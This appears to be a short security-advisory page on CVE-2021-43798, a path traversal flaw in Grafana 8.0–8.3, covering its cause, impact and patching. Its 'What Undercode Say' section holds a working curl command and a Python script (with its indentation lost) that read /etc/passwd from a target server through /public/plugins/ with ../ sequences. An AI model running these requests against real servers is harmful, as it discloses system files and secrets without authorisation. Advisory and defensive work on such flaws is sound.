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CVE-2021-43798 is a severe path traversal vulnerability residing in Grafana versions 8.0.0-beta1 through 8.3.0.
The flaw exists due to improper input validation and sanitization within the server’s HTTP routing and file-serving mechanisms.
Specifically, Grafana utilizes a routing handler designed to serve static assets and plugin files directly from disk.
When an unauthenticated remote attacker sends a specially crafted HTTP GET request containing directory traversal sequences like dot-dot-slash, the application fails to adequately restrict path resolution boundaries.
This allows the attacker to break out of the intended plugin directory web root and traverse the underlying host filesystem.
Consequently, arbitrary system files that the Grafana process user has read permissions for can be accessed and retrieved over the network without requiring any authentication credentials.
Attackers commonly target sensitive configuration files, database credentials, /etc/passwd, and environment variables stored on the server.
The vulnerability stems from the way Go’s HTTP routing or custom plugin handlers handle URL paths containing URL-encoded traversal characters.
Because Grafana plugins have arbitrary directory structures, the backend code attempts to join the plugin ID path with the requested file path.
Without rigorous path cleaning using functions like `filepath.Clean` and strict prefix verification against the base directory, traversal inputs bypass security checks.
An attacker can exploit this via a simple web browser or automated script by sending crafted requests to the Grafana server port, typically port 3000.
The simplicity of exploitation combined with high impact led to widespread scanning and exploitation campaigns shortly after disclosure.
Security analysts and threat intelligence feeds quickly cataloged this issue as a critical vector for initial access and reconnaissance in enterprise environments.
DailyCVE Form:
Platform: Grafana
Version: 8.0 to 8.3
Vulnerability: Path Traversal
Severity: Critical
date: November 2021
Prediction: Already patched
What Undercode Say:
Check Grafana version and test path traversal vulnerability curl --path-as-is http://target-grafana:3000/public/plugins/alerting/../../../../../../../../etc/passwd
import requests
url = "http://target-grafana:3000/public/plugins/alerting/../../../../../../../../etc/passwd"
response = requests.get(url)
if response.status_code == 200:
print("Vulnerable! File contents:")
print(response.text)
else:
print("Not vulnerable or patched.")
Exploit: (Educational Purposes!)
An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint `/public/plugins/` using directory traversal payloads. By appending multiple `../` sequences, the request navigates outside the plugin directory to sensitive system files like `/etc/passwd` or Grafana configuration files, allowing remote file disclosure.
Protection: from this CVE
Upgrade Grafana to version 8.3.1 or later immediately, where proper path sanitization and validation checks are implemented. Additionally, restrict network access to the Grafana instance using firewalls, enforce strict authentication policies, and monitor web server logs for suspicious directory traversal patterns and repeated `../` sequences in URI paths.
Impact:
Successful exploitation allows unauthenticated remote attackers to read arbitrary files from the underlying host system, leading to the exposure of sensitive configuration data, internal network maps, potential credentials, and system secrets that can facilitate further network compromise or privilege escalation.
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Sources:
Reported By: github.com
Extra Source Hub:
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